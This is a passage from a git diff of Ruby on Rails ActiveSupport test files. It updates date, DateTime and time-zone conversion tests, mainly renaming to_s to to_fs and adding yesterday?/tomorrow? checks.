-        assert_instance_of Time, time.getutc
-        assert_equal @utc_offset, time.utc_offset
-      end
+    with_env_tz "US/Eastern" do
+      source = ActiveSupport::TimeWithZone.new(@utc_time, @zone)
+      time = source.to_time
+
+      assert_instance_of Time, time
+      assert_equal @utc_time, time.getutc
+      assert_instance_of Time, time.getutc
+      assert_equal @utc_offset, time.utc_offset
+
+      source = ActiveSupport::TimeWithZone.new(@date_time, @zone)
+      time = source.to_time
+
+      assert_instance_of Time, time
+      assert_equal @date_time, time.getutc
+      assert_instance_of Time, time.getutc
+      assert_equal @utc_offset, time.utc_offset
     end
   end
 
-  def test_twz_to_time_does_not_preserve_time_zone
-    with_preserve_timezone(false) do
-      with_env_tz "US/Eastern" do
-        time = ActiveSupport::TimeWithZone.new(@utc_time, @zone).to_time
-
-        assert_instance_of Time, time
-        assert_equal @utc_time, time.getutc
-        assert_instance_of Time, time.getutc
-        assert_equal @system_offset, time.utc_offset
-
-        time = ActiveSupport::TimeWithZone.new(@date_time, @zone).to_time
-
-        assert_instance_of Time, time
-        assert_equal @date_time, time.getutc
-        assert_instance_of Time, time.getutc
-        assert_equal @system_offset, time.utc_offset
-      end
+  def test_twz_to_time_frozen_preserves_timezone
+    with_env_tz "US/Eastern" do
+      source = ActiveSupport::TimeWithZone.new(@utc_time, @zone).freeze
+      time = source.to_time
+
+      assert_instance_of Time, time
+      assert_equal @utc_time, time.getutc
+      assert_instance_of Time, time.getutc
+      assert_equal @utc_offset, time.utc_offset
+      assert_not_predicate time, :frozen?
+
+      source = ActiveSupport::TimeWithZone.new(@date_time, @zone).freeze
+      time = source.to_time
+
+      assert_instance_of Time, time
+      assert_equal @date_time, time.getutc
+      assert_instance_of Time, time.getutc
+      assert_equal @utc_offset, time.utc_offset
+      assert_not_predicate time, :frozen?
     end
   end
 
   def test_string_to_time_preserves_timezone
-    with_preserve_timezone(true) do
-      with_env_tz "US/Eastern" do
-        time = "2016-04-23T15:11:12+01:00".to_time
-
-        assert_instance_of Time, time
-        assert_equal @utc_time, time.getutc
-        assert_equal @utc_offset, time.utc_offset
-      end
+    with_env_tz "US/Eastern" do
+      source = "2016-04-23T15:11:12+01:00"
+      time = source.to_time
+
+      assert_instance_of Time, time
+      assert_equal @utc_time, time.getutc
+      assert_equal @utc_offset, time.utc_offset
     end
   end
 
-  def test_string_to_time_does_not_preserve_time_zone
-    with_preserve_timezone(false) do
-      with_env_tz "US/Eastern" do
-        time = "2016-04-23T15:11:12+01:00".to_time
+  def test_string_to_time_frozen_preserves_timezone
+    with_env_tz "US/Eastern" do
+      source = "2016-04-23T15:11:12+01:00"
+      time = source.to_time
 
-        assert_instance_of Time, time
-        assert_equal @utc_time, time.getutc
-        assert_equal @system_offset, time.utc_offset
-      end
+      assert_instance_of Time, time
+      assert_equal @utc_time, time.getutc
+      assert_equal @utc_offset, time.utc_offset
+      assert_not_predicate time, :frozen?
     end
   end
 end
diff --git a/activesupport/test/core_ext/date_ext_test.rb b/activesupport/test/core_ext/date_ext_test.rb
index 50bb1004f7c48..3592b47ebefb8 100644
--- a/activesupport/test/core_ext/date_ext_test.rb
+++ b/activesupport/test/core_ext/date_ext_test.rb
@@ -1,7 +1,9 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
 require "active_support/time"
-require "core_ext/date_and_time_behavior"
-require "time_zone_test_helpers"
+require_relative "../core_ext/date_and_time_behavior"
+require_relative "../time_zone_test_helpers"
 
 class DateExtCalculationsTest < ActiveSupport::TestCase
   def date_time_init(year, month, day, *args)
@@ -19,26 +21,29 @@ def test_tomorrow_in_calendar_reform
     assert_equal Date.new(1582, 10, 15), Date.new(1582, 10, 4).tomorrow
   end
 
-  def test_to_s
+  def test_to_fs
     date = Date.new(2005, 2, 21)
-    assert_equal "2005-02-21",          date.to_s
-    assert_equal "21 Feb",              date.to_s(:short)
-    assert_equal "February 21, 2005",   date.to_s(:long)
-    assert_equal "February 21st, 2005", date.to_s(:long_ordinal)
-    assert_equal "2005-02-21",          date.to_s(:db)
-    assert_equal "21 Feb 2005",         date.to_s(:rfc822)
-    assert_equal "2005-02-21",          date.to_s(:iso8601)
-  end
-
-  def test_to_s_with_single_digit_day
+    assert_equal "21 Feb",              date.to_fs(:short)
+    assert_equal "February 21, 2005",   date.to_fs(:long)
+    assert_equal "February 21st, 2005", date.to_fs(:long_ordinal)
+    assert_equal "2005-02-21",          date.to_fs(:db)
+    assert_equal "2005-02-21",          date.to_fs(:inspect)
+    assert_equal "21 Feb 2005",         date.to_fs(:rfc822)
+    assert_equal "21 Feb 2005",         date.to_fs(:rfc2822)
+    assert_equal "2005-02-21",          date.to_fs(:iso8601)
+    assert_equal date.to_s,             date.to_fs(:doesnt_exist)
+    assert_equal "21 Feb",              date.to_formatted_s(:short)
+  end
+
+  def test_to_fs_with_single_digit_day
     date = Date.new(2005, 2, 1)
-    assert_equal "2005-02-01",          date.to_s
-    assert_equal "01 Feb",              date.to_s(:short)
-    assert_equal "February 01, 2005",   date.to_s(:long)
-    assert_equal "February 1st, 2005",  date.to_s(:long_ordinal)
-    assert_equal "2005-02-01",          date.to_s(:db)
-    assert_equal "01 Feb 2005",         date.to_s(:rfc822)
-    assert_equal "2005-02-01",          date.to_s(:iso8601)
+    assert_equal "01 Feb",              date.to_fs(:short)
+    assert_equal "February 01, 2005",   date.to_fs(:long)
+    assert_equal "February 1st, 2005",  date.to_fs(:long_ordinal)
+    assert_equal "2005-02-01",          date.to_fs(:db)
+    assert_equal "2005-02-01",          date.to_fs(:inspect)
+    assert_equal "01 Feb 2005",         date.to_fs(:rfc822)
+    assert_equal "2005-02-01",          date.to_fs(:iso8601)
   end
 
   def test_readable_inspect
@@ -93,11 +98,11 @@ def test_sunday
   end
 
   def test_beginning_of_week_in_calendar_reform
-    assert_equal Date.new(1582, 10, 1), Date.new(1582, 10, 15).beginning_of_week #friday
+    assert_equal Date.new(1582, 10, 1), Date.new(1582, 10, 15).beginning_of_week # friday
   end
 
   def test_end_of_week_in_calendar_reform
-    assert_equal Date.new(1582, 10, 17), Date.new(1582, 10, 4).end_of_week #thursday
+    assert_equal Date.new(1582, 10, 17), Date.new(1582, 10, 4).end_of_week # thursday
   end
 
   def test_end_of_year
@@ -110,18 +115,6 @@ def test_end_of_month
     assert_equal Date.new(2005, 4, 30), Date.new(2005, 4, 20).end_of_month
   end
 
-  def test_prev_year_in_leap_years
-    assert_equal Date.new(1999, 2, 28), Date.new(2000, 2, 29).prev_year
-  end
-
-  def test_prev_year_in_calendar_reform
-    assert_equal Date.new(1582, 10, 4), Date.new(1583, 10, 14).prev_year
-  end
-
-  def test_last_year
-    assert_equal Date.new(2004, 6, 5),  Date.new(2005, 6, 5).last_year
-  end
-
   def test_last_year_in_leap_years
     assert_equal Date.new(1999, 2, 28), Date.new(2000, 2, 29).last_year
   end
@@ -130,14 +123,6 @@ def test_last_year_in_calendar_reform
     assert_equal Date.new(1582, 10, 4), Date.new(1583, 10, 14).last_year
   end
 
-  def test_next_year_in_leap_years
-    assert_equal Date.new(2001, 2, 28), Date.new(2000, 2, 29).next_year
-  end
-
-  def test_next_year_in_calendar_reform
-    assert_equal Date.new(1582, 10, 4), Date.new(1581, 10, 10).next_year
-  end
-
   def test_advance
     assert_equal Date.new(2006, 2, 28), Date.new(2005, 2, 28).advance(years: 1)
     assert_equal Date.new(2005, 6, 28), Date.new(2005, 2, 28).advance(months: 4)
@@ -146,7 +131,7 @@ def test_advance
     assert_equal Date.new(2012, 9, 28), Date.new(2005, 2, 28).advance(years: 7, months: 7)
     assert_equal Date.new(2013, 10, 3), Date.new(2005, 2, 28).advance(years: 7, months: 19, days: 5)
     assert_equal Date.new(2013, 10, 17), Date.new(2005, 2, 28).advance(years: 7, months: 19, weeks: 2, days: 5)
-    assert_equal Date.new(2005, 2, 28), Date.new(2004, 2, 29).advance(years: 1) #leap day plus one year
+    assert_equal Date.new(2005, 2, 28), Date.new(2004, 2, 29).advance(years: 1) # leap day plus one year
   end
 
   def test_advance_does_first_years_and_then_days
@@ -183,10 +168,6 @@ def test_next_week_in_calendar_reform
     assert_equal Date.new(1582, 10, 18), Date.new(1582, 10, 4).next_week
   end
 
-  def test_last_month_on_31st
-    assert_equal Date.new(2004, 2, 29), Date.new(2004, 3, 31).last_month
-  end
-
   def test_last_quarter_on_31st
     assert_equal Date.new(2004, 2, 29), Date.new(2004, 5, 31).last_quarter
   end
@@ -392,11 +373,11 @@ def test_date_advance_should_not_change_passed_options_hash
 
 class DateExtBehaviorTest < ActiveSupport::TestCase
   def test_date_acts_like_date
-    assert Date.new.acts_like_date?
+    assert_predicate Date.new, :acts_like_date?
   end
 
   def test_blank?
-    assert_not Date.new.blank?
+    assert_not_predicate Date.new, :blank?
   end
 
   def test_freeze_doesnt_clobber_memoized_instance_methods
diff --git a/activesupport/test/core_ext/date_time_ext_test.rb b/activesupport/test/core_ext/date_time_ext_test.rb
index e3b31c10f5036..bbff9a515395e 100644
--- a/activesupport/test/core_ext/date_time_ext_test.rb
+++ b/activesupport/test/core_ext/date_time_ext_test.rb
@@ -1,31 +1,38 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
 require "active_support/time"
-require "core_ext/date_and_time_behavior"
-require "time_zone_test_helpers"
+require_relative "../core_ext/date_and_time_behavior"
+require_relative "../time_zone_test_helpers"
 
 class DateTimeExtCalculationsTest < ActiveSupport::TestCase
-  def date_time_init(year, month, day, hour, minute, second, *args)
-    DateTime.civil(year, month, day, hour, minute, second)
+  def date_time_init(year, month, day, hour, minute, second, usec = 0)
+    DateTime.civil(year, month, day, hour, minute, second + (usec / 1000000))
   end
 
   include DateAndTimeBehavior
   include TimeZoneTestHelpers
 
-  def test_to_s
+  def test_to_fs
     datetime = DateTime.new(2005, 2, 21, 14, 30, 0, 0)
-    assert_equal "2005-02-21 14:30:00",               datetime.to_s(:db)
-    assert_equal "14:30",                             datetime.to_s(:time)
-    assert_equal "21 Feb 14:30",                      datetime.to_s(:short)
-    assert_equal "February 21, 2005 14:30",           datetime.to_s(:long)
-    assert_equal "Mon, 21 Feb 2005 14:30:00 +0000",   datetime.to_s(:rfc822)
-    assert_equal "February 21st, 2005 14:30",         datetime.to_s(:long_ordinal)
-    assert_match(/^2005-02-21T14:30:00(Z|\+00:00)$/,  datetime.to_s)
+    assert_equal "2005-02-21 14:30:00",                 datetime.to_fs(:db)
+    assert_equal "2005-02-21 14:30:00.000000000 +0000", datetime.to_fs(:inspect)
+    assert_equal "14:30",                               datetime.to_fs(:time)
+    assert_equal "21 Feb 14:30",                        datetime.to_fs(:short)
+    assert_equal "February 21, 2005 14:30",             datetime.to_fs(:long)
+    assert_equal "Mon, 21 Feb 2005 14:30:00 +0000",     datetime.to_fs(:rfc822)
+    assert_equal "Mon, 21 Feb 2005 14:30:00 +0000",     datetime.to_fs(:rfc2822)
+    assert_equal "February 21st, 2005 14:30",           datetime.to_fs(:long_ordinal)
+    assert_match(/^2005-02-21T14:30:00(Z|\+00:00)$/,    datetime.to_fs)
+    assert_match(/^2005-02-21T14:30:00(Z|\+00:00)$/,    datetime.to_fs(:not_existent))
 
     with_env_tz "US/Central" do
-      assert_equal "2009-02-05T14:30:05-06:00", DateTime.civil(2009, 2, 5, 14, 30, 5, Rational(-21600, 86400)).to_s(:iso8601)
-      assert_equal "2008-06-09T04:05:01-05:00", DateTime.civil(2008, 6, 9, 4, 5, 1, Rational(-18000, 86400)).to_s(:iso8601)
-      assert_equal "2009-02-05T14:30:05+00:00", DateTime.civil(2009, 2, 5, 14, 30, 5).to_s(:iso8601)
+      assert_equal "2009-02-05T14:30:05-06:00", DateTime.civil(2009, 2, 5, 14, 30, 5, Rational(-21600, 86400)).to_fs(:iso8601)
+      assert_equal "2008-06-09T04:05:01-05:00", DateTime.civil(2008, 6, 9, 4, 5, 1, Rational(-18000, 86400)).to_fs(:iso8601)
+      assert_equal "2009-02-05T14:30:05+00:00", DateTime.civil(2009, 2, 5, 14, 30, 5).to_fs(:iso8601)
     end
+
+    assert_equal "2005-02-21 14:30:00",                 datetime.to_formatted_s(:db)
   end
 
   def test_readable_inspect
@@ -34,9 +41,10 @@ def test_readable_inspect
     assert_equal datetime.readable_inspect, datetime.inspect
   end
 
-  def test_custom_date_format
+  def test_to_fs_with_custom_date_format
     Time::DATE_FORMATS[:custom] = "%Y%m%d%H%M%S"
-    assert_equal "20050221143000", DateTime.new(2005, 2, 21, 14, 30, 0).to_s(:custom)
+    assert_equal "20050221143000", DateTime.new(2005, 2, 21, 14, 30, 0).to_fs(:custom)
+  ensure
     Time::DATE_FORMATS.delete(:custom)
   end
 
@@ -70,13 +78,8 @@ def test_to_time
     with_env_tz "US/Eastern" do
       assert_instance_of Time, DateTime.new(2005, 2, 21, 10, 11, 12, 0).to_time
 
-      if ActiveSupport.to_time_preserves_timezone
-        assert_equal Time.local(2005, 2, 21, 5, 11, 12).getlocal(0), DateTime.new(2005, 2, 21, 10, 11, 12, 0).to_time
-        assert_equal Time.local(2005, 2, 21, 5, 11, 12).getlocal(0).utc_offset, DateTime.new(2005, 2, 21, 10, 11, 12, 0).to_time.utc_offset
-      else
-        assert_equal Time.local(2005, 2, 21, 5, 11, 12), DateTime.new(2005, 2, 21, 10, 11, 12, 0).to_time
-        assert_equal Time.local(2005, 2, 21, 5, 11, 12).utc_offset, DateTime.new(2005, 2, 21, 10, 11, 12, 0).to_time.utc_offset
-      end
+      assert_equal Time.local(2005, 2, 21, 5, 11, 12).getlocal(0), DateTime.new(2005, 2, 21, 10, 11, 12, 0).to_time
+      assert_equal Time.local(2005, 2, 21, 5, 11, 12).getlocal(0).utc_offset, DateTime.new(2005, 2, 21, 10, 11, 12, 0).to_time.utc_offset
     end
   end
 
@@ -113,7 +116,7 @@ def test_middle_of_day
   end
 
   def test_end_of_day
-    assert_equal DateTime.civil(2005, 2, 4, 23, 59, 59), DateTime.civil(2005, 2, 4, 10, 10, 10).end_of_day
+    assert_equal DateTime.civil(2005, 2, 4, 23, 59, Rational(59999999999, 1000000000)), DateTime.civil(2005, 2, 4, 10, 10, 10).end_of_day
   end
 
   def test_beginning_of_hour
@@ -121,7 +124,7 @@ def test_beginning_of_hour
   end
 
   def test_end_of_hour
-    assert_equal DateTime.civil(2005, 2, 4, 19, 59, 59), DateTime.civil(2005, 2, 4, 19, 30, 10).end_of_hour
+    assert_equal DateTime.civil(2005, 2, 4, 19, 59, Rational(59999999999, 1000000000)), DateTime.civil(2005, 2, 4, 19, 30, 10).end_of_hour
   end
 
   def test_beginning_of_minute
@@ -129,17 +132,13 @@ def test_beginning_of_minute
   end
 
   def test_end_of_minute
-    assert_equal DateTime.civil(2005, 2, 4, 19, 30, 59), DateTime.civil(2005, 2, 4, 19, 30, 10).end_of_minute
+    assert_equal DateTime.civil(2005, 2, 4, 19, 30, Rational(59999999999, 1000000000)), DateTime.civil(2005, 2, 4, 19, 30, 10).end_of_minute
   end
 
   def test_end_of_month
-    assert_equal DateTime.civil(2005, 3, 31, 23, 59, 59), DateTime.civil(2005, 3, 20, 10, 10, 10).end_of_month
-    assert_equal DateTime.civil(2005, 2, 28, 23, 59, 59), DateTime.civil(2005, 2, 20, 10, 10, 10).end_of_month
-    assert_equal DateTime.civil(2005, 4, 30, 23, 59, 59), DateTime.civil(2005, 4, 20, 10, 10, 10).end_of_month
-  end
-
-  def test_last_year
-    assert_equal DateTime.civil(2004, 6, 5, 10),  DateTime.civil(2005, 6, 5, 10, 0, 0).last_year
+    assert_equal DateTime.civil(2005, 3, 31, 23, 59, Rational(59999999999, 1000000000)), DateTime.civil(2005, 3, 20, 10, 10, 10).end_of_month
+    assert_equal DateTime.civil(2005, 2, 28, 23, 59, Rational(59999999999, 1000000000)), DateTime.civil(2005, 2, 20, 10, 10, 10).end_of_month
+    assert_equal DateTime.civil(2005, 4, 30, 23, 59, Rational(59999999999, 1000000000)), DateTime.civil(2005, 4, 20, 10, 10, 10).end_of_month
   end
 
   def test_ago
@@ -154,20 +153,30 @@ def test_since
     assert_equal DateTime.civil(2005, 2, 22, 11, 10, 10), DateTime.civil(2005, 2, 22, 10, 10, 10).since(3600)
     assert_equal DateTime.civil(2005, 2, 24, 10, 10, 10), DateTime.civil(2005, 2, 22, 10, 10, 10).since(86400 * 2)
     assert_equal DateTime.civil(2005, 2, 24, 11, 10, 35), DateTime.civil(2005, 2, 22, 10, 10, 10).since(86400 * 2 + 3600 + 25)
-    assert_equal DateTime.civil(2005, 2, 22, 10, 10, 11), DateTime.civil(2005, 2, 22, 10, 10, 10).since(1.333)
-    assert_equal DateTime.civil(2005, 2, 22, 10, 10, 12), DateTime.civil(2005, 2, 22, 10, 10, 10).since(1.667)
+    assert_not_equal DateTime.civil(2005, 2, 22, 10, 10, 11), DateTime.civil(2005, 2, 22, 10, 10, 10).since(1.333)
+    assert_not_equal DateTime.civil(2005, 2, 22, 10, 10, 12), DateTime.civil(2005, 2, 22, 10, 10, 10).since(1.667)
   end
 
   def test_change
     assert_equal DateTime.civil(2006, 2, 22, 15, 15, 10), DateTime.civil(2005, 2, 22, 15, 15, 10).change(year: 2006)
     assert_equal DateTime.civil(2005, 6, 22, 15, 15, 10), DateTime.civil(2005, 2, 22, 15, 15, 10).change(month: 6)
     assert_equal DateTime.civil(2012, 9, 22, 15, 15, 10), DateTime.civil(2005, 2, 22, 15, 15, 10).change(year: 2012, month: 9)
-    assert_equal DateTime.civil(2005, 2, 22, 16),       DateTime.civil(2005, 2, 22, 15, 15, 10).change(hour: 16)
-    assert_equal DateTime.civil(2005, 2, 22, 16, 45),    DateTime.civil(2005, 2, 22, 15, 15, 10).change(hour: 16, min: 45)
-    assert_equal DateTime.civil(2005, 2, 22, 15, 45),    DateTime.civil(2005, 2, 22, 15, 15, 10).change(min: 45)
+    assert_equal DateTime.civil(2005, 2, 22, 16),         DateTime.civil(2005, 2, 22, 15, 15, 10).change(hour: 16)
+    assert_equal DateTime.civil(2005, 2, 22, 16, 45),     DateTime.civil(2005, 2, 22, 15, 15, 10).change(hour: 16, min: 45)
+    assert_equal DateTime.civil(2005, 2, 22, 15, 45),     DateTime.civil(2005, 2, 22, 15, 15, 10).change(min: 45)
+
+    # datetime with non-zero offset
+    assert_equal DateTime.civil(2005, 2, 22, 15, 15, 10, Rational(-5, 24)), DateTime.civil(2005, 2, 22, 15, 15, 10, 0).change(offset: Rational(-5, 24))
 
     # datetime with fractions of a second
     assert_equal DateTime.civil(2005, 2, 1, 15, 15, 10.7), DateTime.civil(2005, 2, 22, 15, 15, 10.7).change(day: 1)
+    assert_equal DateTime.civil(2005, 1, 2, 11, 22, Rational(33000008, 1000000)), DateTime.civil(2005, 1, 2, 11, 22, 33).change(usec: 8)
+    assert_equal DateTime.civil(2005, 1, 2, 11, 22, Rational(33000008, 1000000)), DateTime.civil(2005, 1, 2, 11, 22, 33).change(nsec: 8000)
+    assert_raise(ArgumentError) { DateTime.civil(2005, 1, 2, 11, 22, 0).change(usec: 1, nsec: 1) }
+    assert_raise(ArgumentError) { DateTime.civil(2005, 1, 2, 11, 22, 0).change(usec: 1000000) }
+    assert_raise(ArgumentError) { DateTime.civil(2005, 1, 2, 11, 22, 0).change(nsec: 1000000000) }
+    assert_nothing_raised { DateTime.civil(2005, 1, 2, 11, 22, 0).change(usec: 999999) }
+    assert_nothing_raised { DateTime.civil(2005, 1, 2, 11, 22, 0).change(nsec: 999999999) }
   end
 
   def test_advance
@@ -179,7 +188,7 @@ def test_advance
     assert_equal DateTime.civil(2013, 10, 3, 15, 15, 10),  DateTime.civil(2005, 2, 28, 15, 15, 10).advance(years: 7, months: 19, days: 5)
     assert_equal DateTime.civil(2013, 10, 17, 15, 15, 10), DateTime.civil(2005, 2, 28, 15, 15, 10).advance(years: 7, months: 19, weeks: 2, days: 5)
     assert_equal DateTime.civil(2001, 12, 27, 15, 15, 10), DateTime.civil(2005, 2, 28, 15, 15, 10).advance(years: -3, months: -2, days: -1)
-    assert_equal DateTime.civil(2005, 2, 28, 15, 15, 10),  DateTime.civil(2004, 2, 29, 15, 15, 10).advance(years: 1) #leap day plus one year
+    assert_equal DateTime.civil(2005, 2, 28, 15, 15, 10),  DateTime.civil(2004, 2, 29, 15, 15, 10).advance(years: 1) # leap day plus one year
     assert_equal DateTime.civil(2005, 2, 28, 20, 15, 10),  DateTime.civil(2005, 2, 28, 15, 15, 10).advance(hours: 5)
     assert_equal DateTime.civil(2005, 2, 28, 15, 22, 10),  DateTime.civil(2005, 2, 28, 15, 15, 10).advance(minutes: 7)
     assert_equal DateTime.civil(2005, 2, 28, 15, 15, 19),  DateTime.civil(2005, 2, 28, 15, 15, 10).advance(seconds: 9)
@@ -214,10 +223,6 @@ def test_date_time_should_have_correct_last_week_for_leap_year
     assert_equal DateTime.civil(2016, 2, 29), DateTime.civil(2016, 3, 7).last_week
   end
 
-  def test_last_month_on_31st
-    assert_equal DateTime.civil(2004, 2, 29), DateTime.civil(2004, 3, 31).last_month
-  end
-
   def test_last_quarter_on_31st
     assert_equal DateTime.civil(2004, 2, 29), DateTime.civil(2004, 5, 31).last_quarter
   end
@@ -249,9 +254,81 @@ def test_today_without_offset
     end
   end
 
+  def test_yesterday_with_offset
+    Date.stub(:current, Date.new(2000, 1, 1)) do
+      assert_equal true,  DateTime.civil(1999, 12, 31, 23, 59, 59, Rational(-18000, 86400)).yesterday?
+      assert_equal false, DateTime.civil(2000, 1, 1, 0, 0, 0, Rational(-18000, 86400)).yesterday?
+      assert_equal false, DateTime.civil(2000, 1, 1, 23, 59, 59, Rational(-18000, 86400)).yesterday?
+      assert_equal true,  DateTime.civil(1999, 12, 31, 0, 0, 0, Rational(-18000, 86400)).yesterday?
+    end
+  end
+
+  def test_yesterday_without_offset
+    Date.stub(:current, Date.new(2000, 1, 1)) do
+      assert_equal true,  DateTime.civil(1999, 12, 31, 23, 59, 59).yesterday?
+      assert_equal false, DateTime.civil(2000, 1, 1, 0).yesterday?
+      assert_equal false, DateTime.civil(2000, 1, 1, 23, 59, 59).yesterday?
+      assert_equal false, DateTime.civil(2000, 1, 2, 0).yesterday?
+    end
+  end
+
+  def test_prev_day_with_offset
+    Date.stub(:current, Date.new(2000, 1, 1)) do
+      assert_equal true,  DateTime.civil(1999, 12, 31, 23, 59, 59, Rational(-18000, 86400)).prev_day?
+      assert_equal false, DateTime.civil(2000, 1, 1, 0, 0, 0, Rational(-18000, 86400)).prev_day?
+      assert_equal false, DateTime.civil(2000, 1, 1, 23, 59, 59, Rational(-18000, 86400)).prev_day?
+      assert_equal true,  DateTime.civil(1999, 12, 31, 0, 0, 0, Rational(-18000, 86400)).prev_day?
+    end
+  end
+
+  def test_prev_day_without_offset
+    Date.stub(:current, Date.new(2000, 1, 1)) do
+      assert_equal true,  DateTime.civil(1999, 12, 31, 23, 59, 59).prev_day?
+      assert_equal false, DateTime.civil(2000, 1, 1, 0).prev_day?
+      assert_equal false, DateTime.civil(2000, 1, 1, 23, 59, 59).prev_day?
+      assert_equal false, DateTime.civil(2000, 1, 2, 0).prev_day?
+    end
+  end
+
+  def test_tomorrow_with_offset
+    Date.stub(:current, Date.new(2000, 1, 1)) do
+      assert_equal false, DateTime.civil(1999, 12, 31, 23, 59, 59, Rational(-18000, 86400)).tomorrow?
+      assert_equal true,  DateTime.civil(2000, 1, 2, 0, 0, 0, Rational(-18000, 86400)).tomorrow?
+      assert_equal false, DateTime.civil(2000, 1, 1, 23, 59, 59, Rational(-18000, 86400)).tomorrow?
+      assert_equal true,  DateTime.civil(2000, 1, 2, 23, 59, 59, Rational(-18000, 86400)).tomorrow?
+    end
+  end
+
+  def test_tomorrow_without_offset
+    Date.stub(:current, Date.new(2000, 1, 1)) do
+      assert_equal false, DateTime.civil(1999, 12, 31, 23, 59, 59).tomorrow?
+      assert_equal true,  DateTime.civil(2000, 1, 2, 0).tomorrow?
+      assert_equal false, DateTime.civil(2000, 1, 1, 23, 59, 59).tomorrow?
+      assert_equal false, DateTime.civil(2000, 1, 3, 0).tomorrow?
+    end
+  end
+
+  def test_next_day_with_offset
+    Date.stub(:current, Date.new(2000, 1, 1)) do
+      assert_equal false, DateTime.civil(1999, 12, 31, 23, 59, 59, Rational(-18000, 86400)).next_day?
+      assert_equal true,  DateTime.civil(2000, 1, 2, 0, 0, 0, Rational(-18000, 86400)).next_day?
+      assert_equal false, DateTime.civil(2000, 1, 1, 23, 59, 59, Rational(-18000, 86400)).next_day?
+      assert_equal true,  DateTime.civil(2000, 1, 2, 23, 59, 59, Rational(-18000, 86400)).next_day?
+    end
+  end
+
+  def test_next_day_without_offset
+    Date.stub(:current, Date.new(2000, 1, 1)) do
+      assert_equal false, DateTime.civil(1999, 12, 31, 23, 59, 59).next_day?
+      assert_equal true,  DateTime.civil(2000, 1, 2, 0).next_day?
+      assert_equal false, DateTime.civil(2000, 1, 1, 23, 59, 59).next_day?
+      assert_equal false, DateTime.civil(2000, 1, 3, 0).next_day?
+    end
+  end
+
   def test_past_with_offset
     DateTime.stub(:current, DateTime.civil(2005, 2, 10, 15, 30, 45, Rational(-18000, 86400))) do
-      assert_equal true,  DateTime.civil(2005, 2, 10, 15, 30, 44, Rational(-18000, 86400)).past?
+      assert_equal true,   DateTime.civil(2005, 2, 10, 15, 30, 44, Rational(-18000, 86400)).past?
       assert_equal false,  DateTime.civil(2005, 2, 10, 15, 30, 45, Rational(-18000, 86400)).past?
       assert_equal false,  DateTime.civil(2005, 2, 10, 15, 30, 46, Rational(-18000, 86400)).past?
     end
@@ -311,15 +388,15 @@ def test_current_with_time_zone
   end
 
   def test_acts_like_date
-    assert DateTime.new.acts_like_date?
+    assert_predicate DateTime.new, :acts_like_date?
   end
 
   def test_acts_like_time
-    assert DateTime.new.acts_like_time?
+    assert_predicate DateTime.new, :acts_like_time?
   end
 
   def test_blank?
-    assert_not DateTime.new.blank?
+    assert_not_predicate DateTime.new, :blank?
   end
 
   def test_utc?
@@ -359,45 +436,45 @@ def test_formatted_offset_with_local
   end
 
   def test_compare_with_time
-    assert_equal  1, DateTime.civil(2000) <=> Time.utc(1999, 12, 31, 23, 59, 59)
-    assert_equal  0, DateTime.civil(2000) <=> Time.utc(2000, 1, 1, 0, 0, 0)
+    assert_equal 1, DateTime.civil(2000) <=> Time.utc(1999, 12, 31, 23, 59, 59)
+    assert_equal 0, DateTime.civil(2000) <=> Time.utc(2000, 1, 1, 0, 0, 0)
     assert_equal(-1, DateTime.civil(2000) <=> Time.utc(2000, 1, 1, 0, 0, 1))
   end
 
   def test_compare_with_datetime
-    assert_equal  1, DateTime.civil(2000) <=> DateTime.civil(1999, 12, 31, 23, 59, 59)
-    assert_equal  0, DateTime.civil(2000) <=> DateTime.civil(2000, 1, 1, 0, 0, 0)
+    assert_equal 1, DateTime.civil(2000) <=> DateTime.civil(1999, 12, 31, 23, 59, 59)
+    assert_equal 0, DateTime.civil(2000) <=> DateTime.civil(2000, 1, 1, 0, 0, 0)
     assert_equal(-1, DateTime.civil(2000) <=> DateTime.civil(2000, 1, 1, 0, 0, 1))
   end
 
   def test_compare_with_time_with_zone
-    assert_equal  1, DateTime.civil(2000) <=> ActiveSupport::TimeWithZone.new(Time.utc(1999, 12, 31, 23, 59, 59), ActiveSupport::TimeZone["UTC"])
-    assert_equal  0, DateTime.civil(2000) <=> ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1, 0, 0, 0), ActiveSupport::TimeZone["UTC"])
+    assert_equal 1, DateTime.civil(2000) <=> ActiveSupport::TimeWithZone.new(Time.utc(1999, 12, 31, 23, 59, 59), ActiveSupport::TimeZone["UTC"])
+    assert_equal 0, DateTime.civil(2000) <=> ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1, 0, 0, 0), ActiveSupport::TimeZone["UTC"])
     assert_equal(-1, DateTime.civil(2000) <=> ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1, 0, 0, 1), ActiveSupport::TimeZone["UTC"]))
   end
 
   def test_compare_with_string
-    assert_equal   1, DateTime.civil(2000) <=> Time.utc(1999, 12, 31, 23, 59, 59).to_s
-    assert_equal   0, DateTime.civil(2000) <=> Time.utc(2000, 1, 1, 0, 0, 0).to_s
+    assert_equal 1, DateTime.civil(2000) <=> Time.utc(1999, 12, 31, 23, 59, 59).to_s
+    assert_equal 0, DateTime.civil(2000) <=> Time.utc(2000, 1, 1, 0, 0, 0).to_s
     assert_equal(-1, DateTime.civil(2000) <=> Time.utc(2000, 1, 1, 0, 0, 1).to_s)
     assert_nil DateTime.civil(2000) <=> "Invalid as Time"
   end
 
   def test_compare_with_integer
-    assert_equal  1, DateTime.civil(1970, 1, 1, 12, 0, 0) <=> 2440587
-    assert_equal  0, DateTime.civil(1970, 1, 1, 12, 0, 0) <=> 2440588
+    assert_equal 1, DateTime.civil(1970, 1, 1, 12, 0, 0) <=> 2440587
+    assert_equal 0, DateTime.civil(1970, 1, 1, 12, 0, 0) <=> 2440588
     assert_equal(-1, DateTime.civil(1970, 1, 1, 12, 0, 0) <=> 2440589)
   end
 
   def test_compare_with_float
-    assert_equal  1, DateTime.civil(1970) <=> 2440586.5
-    assert_equal  0, DateTime.civil(1970) <=> 2440587.5
+    assert_equal 1, DateTime.civil(1970) <=> 2440586.5
+    assert_equal 0, DateTime.civil(1970) <=> 2440587.5
     assert_equal(-1, DateTime.civil(1970) <=> 2440588.5)
   end
 
   def test_compare_with_rational
-    assert_equal  1, DateTime.civil(1970) <=> Rational(4881173, 2)
-    assert_equal  0, DateTime.civil(1970) <=> Rational(4881175, 2)
+    assert_equal 1, DateTime.civil(1970) <=> Rational(4881173, 2)
+    assert_equal 0, DateTime.civil(1970) <=> Rational(4881175, 2)
